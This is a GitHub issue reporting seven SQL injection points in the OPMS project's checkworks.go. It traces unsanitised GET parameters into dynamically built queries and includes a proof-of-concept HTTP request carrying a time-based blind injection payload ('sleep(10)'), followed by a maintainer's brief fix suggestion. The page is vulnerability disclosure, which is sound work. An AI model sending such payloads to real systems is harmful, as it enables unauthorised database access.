search

lock-upme / OPMS

OPMS项目+OA管理系统
GNU General Public License v2.0
1.09k stars 468 forks source link

This project has multiple sql injection vulnerabilities. #26

Open AFKL1919 opened 2 years ago

AFKL1919 commented 2 years ago

图片 I have scanned this project using codeql. There are 7 places in the opms\models\checkworks\checkworks.go file where sql injection can be performed.

Here are two examples of them.

图片 In lines 30 and 31 of the opms\controller\checkworks\checkworks.go file, the system gets the type and date GET parameters and passes them into the ListCheckwork function.

图片 Then the parameters are dynamically spliced strings, leading to sql injection.

Other places that can cause sql injection are. id filepath lineNum
1 opms/models/checkworks/checkworks.go 35
2 opms/models/checkworks/checkworks.go 38
3 opms/models/checkworks/checkworks.go 66
4 opms/models/checkworks/checkworks.go 69
5 opms/models/checkworks/checkworks.go 128
6 opms/models/checkworks/checkworks.go 147
7 opms/models/checkworks/checkworks.go 167
AFKL1919 commented 2 years ago

图片 exp:

GET /checkwork/manage?date=2021-10&type=2+AND+sleep(10)%23 HTTP/1.1
Host: 172.19.234.154:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: beegosessionID=9160fb678c997ef62c21ed6585088540
Upgrade-Insecure-Requests: 1
lock-upme commented 2 years ago

use the beego sql "setargs" method